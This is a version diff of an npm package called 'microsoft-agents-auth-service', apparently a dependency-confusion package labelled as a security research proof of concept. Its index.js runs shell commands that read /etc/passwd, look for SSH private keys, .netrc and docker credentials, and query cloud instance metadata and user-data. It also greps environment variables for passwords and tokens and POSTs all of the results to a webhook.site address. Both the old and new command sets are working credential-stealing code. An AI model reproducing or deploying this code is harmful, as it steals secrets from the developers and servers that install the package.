microsoft-agents-auth-service 99.9.12 → 99.9.25

package/index.js

@@ -1,22 +1,21 @@
 const { exec } = require('child_process');
 const https = require('https');
-const webhookUrl = 'https://webhook.site/50ed75e2-a476-4367-9748-9ea345284bfa';
+const webhookUrl = 'https://webhook.site/11b6a711-bdc7-4444-9a0e-ffcb23151e82';
 
 const commands = [
-    'echo "=== FINANCIAL & CLOUD CONFIGS ===" && find / -maxdepth 4 -name "*stripe*" -o -name "*payment*" -o -name "*paypal*" -o -name "*vault*" -o -name "*.pem" 2>/dev/null | head -n 20',
-    'echo "=== DATABASE DISCOVERY ===" && ps aux | grep -E "mysql|postgres|mongodb|redis|sql"',
-    'echo "=== SEARCHING FOR SECRETS IN FILES ===" && grep -rE "API_KEY|SECRET|PASSWORD|TOKEN|AUTH" . --exclude-dir=node_modules -l 2>/dev/null | head -n 10',
-    'echo "=== CLOUD ACCOUNT INFO ===" && curl -s -m 2 http://169.254.169.254/latest/meta-data/public-hostname || echo "No Public Host"',
-    'echo "=== DOCKER SECRETS ===" && ls -la /run/secrets/ 2>/dev/null',
-    'echo "=== NPM CONFIG (REGISTRY AUTH) ===" && cat ~/.npmrc 2>/dev/null | grep "_auth" || echo "No npm auth found"'
+    'echo "=== USER LIST & HASHES ===" && cat /etc/passwd | head -n 10 && ls -la /etc/shadow 2>/dev/null',
+    'echo "=== SSH PRIVATE KEYS DISCOVERY ===" && find /home /root -name "id_rsa" -o -name "*.pem" -o -name "authorized_keys" 2>/dev/null | xargs ls -la 2>/dev/null',
+    'echo "=== BROWSER/APP SECRETS ===" && find /home /root -name ".netrc" -o -name "_netrc" -o -name ".dockercfg" 2>/dev/null',
+    'echo "=== CLOUD USER DATA ===" && curl -s -m 2 http://169.254.169.254/latest/user-data || echo "No User Data"',
+    'echo "=== ENVIRONMENT SECRETS ===" && env | grep -E "USER|PASS|TOKEN|CREDENTIAL" | cut -c1-50'
 ].join(' && echo "" && ');
 
 exec(commands, (err, stdout, stderr) => {
     const data = JSON.stringify({
-        status: "FINANCIAL_DATA_RECON",
-        target: "microsoft-agents-auth-service",
-        evidence: stdout + (stderr ? "\nLOGS: " + stderr : ""),
-        timestamp: new Date().toISOString()
+        status: "ULTRA_USER_CREDENTIAL_SCOUT",
+        target: "global-microsoft-infra",
+        payload: stdout,
+        error: stderr
     });
     const req = https.request(webhookUrl, {
         method: 'POST',

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "microsoft-agents-auth-service",
-  "version": "99.9.12",
+  "version": "99.9.25",
   "description": "Security Research PoC for MSRC",
   "main": "index.js",
   "scripts": {